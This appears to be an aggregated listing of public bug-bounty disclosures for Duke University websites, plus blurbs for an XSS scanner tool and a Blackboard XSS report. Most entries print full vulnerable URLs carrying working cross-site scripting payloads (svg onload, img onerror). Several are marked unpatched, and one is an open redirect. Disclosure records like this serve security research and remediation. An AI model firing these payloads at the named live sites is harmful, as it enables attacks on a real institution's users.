fuqua.duke.edu XSS vulnerability

Vulnerable URL: http://www.fuqua.duke.edu/layout/flash/mediaplayer.swf?file=http://content.bitsontherun.com/videos/bkaovAYt-364%20766.flv=falseℑ=http://appsec.ws/ExploitDB/cMon.jpg=true=javascript:confirm/openbugbounty/;//=blank&.swf Details: Description| Value ---|--- Patched:| No Latest check f...

search.library.duke.edu XSS vulnerability

Vulnerable URL: http://search.library.duke.edu/search?N=0=1=Subject=1%22%2F%3E%3CsvG%2FonLoad%3Dalert%28/OPENBUGBOUNTY/%29%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknow...

maps.duke.edu XSS vulnerability

Vulnerable URL: http://maps.duke.edu/map/accessible.php?id=21%22%27--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

vmw-lisweb01.duhs.duke.edu XSS vulnerability

Vulnerable URL: http://vmw-lisweb01.duhs.duke.edu/TestLabs.asp?Context=/%3C!%27/!%22/!%27/%22/--!%3E%3C/Title/%3C/script/%3E%3CInput/Autofocus//Onfocus=confirmXSSPOSED%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly...

deconvolution.cs.duke.edu XSS vulnerability

Vulnerable URL: http://deconvolution.cs.duke.edu/search.pl?gene=%27%22%3E%3Cimg%20src=x%20onerror=alert/OPENBUGBOUNTY/%20x= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

maps.duke.edu XSS vulnerability

Vulnerable URL: http://maps.duke.edu/map/?id=21%27"--!!s/key=Biological Sciences 113' Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check maps.duke.edu SSL...

cit.duke.edu XSS vulnerability

Vulnerable URL: https://cit.duke.edu/feed/stylepreview.php Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 12:51 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...

support.sakai.duke.edu XSS vulnerability

Vulnerable URL: https://support.sakai.duke.edu/feed/stylepreview.php Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 22:51 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

medspace.mc.duke.edu XSS vulnerability

Open Bug Bounty ID: OBB-184742 Description| Value ---|--- Affected Website:| medspace.mc.duke.edu Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

XssPy - Web Application XSS Scanner

XssPy is a python tool for finding Cross Site Scripting vulnerabilities in websites. This tool is the first of its kind. Instead of just checking one page as most of the tools do, this tool traverses the website and find all the links and subdomains first. After that, it starts scanning each and...

Python Web Application XSS Scanner: XssPy

Python Web Application XSS Scanner XssPy is a python tool for finding Cross Site Scripting vulnerabilities in websites. This tool is the first of its kind. Instead of just checking one page as most of the tools do, this tool traverses the website and find all the links and subdomains first. After...

dukeupress.edu XSS vulnerability

Vulnerable URL: https://www.dukeupress.edu/Account/?errorType=loginincorrect=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 10:56 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

login.proxy.lib.duke.edu Open Redirect vulnerability

Vulnerable URL: https://login.proxy.lib.duke.edu/login?url=https://www.openbugbounty.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google...

cgi.cs.duke.edu XSS vulnerability

Vulnerable URL: http://cgi.cs.duke.edu/des/datecalc/webcal.cgi Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank| 0 VIP website status:| No...

library.duke.edu XSS vulnerability

Vulnerable URL: https://library.duke.edu/search/dulstaff/%22%3E%3Csvg/onload%3Dconfirm%28/xssposed/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank| 0 VIP website...

hr.duke.edu XSS vulnerability

Vulnerable URL: https://www.hr.duke.edu/training/programs/leadership/scholars/class.php?id=%22%3E%3Csvg/onload=prompt%28/xssposed/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 24.03.2016 Latest check for patch:| 24.03.2016 02:25 GMT Vulnerability type:| XSS Vulnerability status:|...

dukeupress.edu XSS vulnerability

Vulnerable URL: https://www.dukeupress.edu/Catalog/ProductList.php?viewby=author=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 11:06 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

search.library.duke.edu XSS vulnerability

Vulnerable URL: http://search.library.duke.edu/search?N=0=1=Keyword=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank|...

search.library.duke.edu XSS vulnerability

Vulnerable URL: http://search.library.duke.edu/search?Ntt='=Keyword=&local-filter;=TRUE=Duke Details: Description| Value ---|--- Patched:| Yes, at 04.09.2015 Latest check for patch:| 04.09.2015 01:25 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

blackboard-xss.txt

//////////////////////////////////////////////////////////////////////////////// //Note: //The full version of this report in pdf format available at my blog: //http://www.secskill.wordpress.com // OR : //http://www.scribd.com/doc/2363025/Blackboard-Academic-Suite-Multiple-XSS-Vulnerabilities-...